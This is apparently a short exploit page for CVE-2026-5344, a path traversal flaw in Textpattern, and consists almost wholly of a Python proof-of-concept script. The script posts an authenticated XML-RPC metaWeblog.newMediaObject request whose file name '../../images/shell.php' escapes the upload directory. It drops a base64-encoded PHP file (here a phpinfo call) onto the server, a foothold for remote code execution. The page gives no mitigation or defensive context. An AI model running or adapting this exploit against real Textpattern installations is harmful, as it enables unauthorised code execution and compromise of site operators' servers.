CVE-2026-5344 Textpattern路径遍历漏洞

import requests # Target configuration target_url = "http://example.com/textpattern/rpc/" username = "attacker" password = "password" # Malicious payload exploiting path traversal in file.name # The vulnerability is in mt_uploadImage, usually mapped to metaWeblog.newMediaObject xml_payload = """<?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>metaWeblog.newMediaObject</methodName> <params> <param> <value><string>1</string></value> <!-- BlogID --> </param> <param> <value><string>{username}</string></value> <!-- Username --> </param> <param> <value><string>{password}</string></value> <!-- Password --> </param> <param> <value> <struct> <member> <name>name</name> <value><string>../../images/shell.php</string></value> <!-- Traversal payload --> </member> <member> <name>bits</name> <value><base64>PD9waHAgcGhwaW5mbygpOyA/Pg==</base64></value> <!-- PHP content --> </member> <member> <name>type</name> <value><string>image/php</string></value> </member> </struct> </value> </param> </params> </methodCall>""".format(username=username, password=password) headers = {'Content-Type': 'application/xml'} try: response = requests.post(target_url, data=xml_payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if the file was uploaded.") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")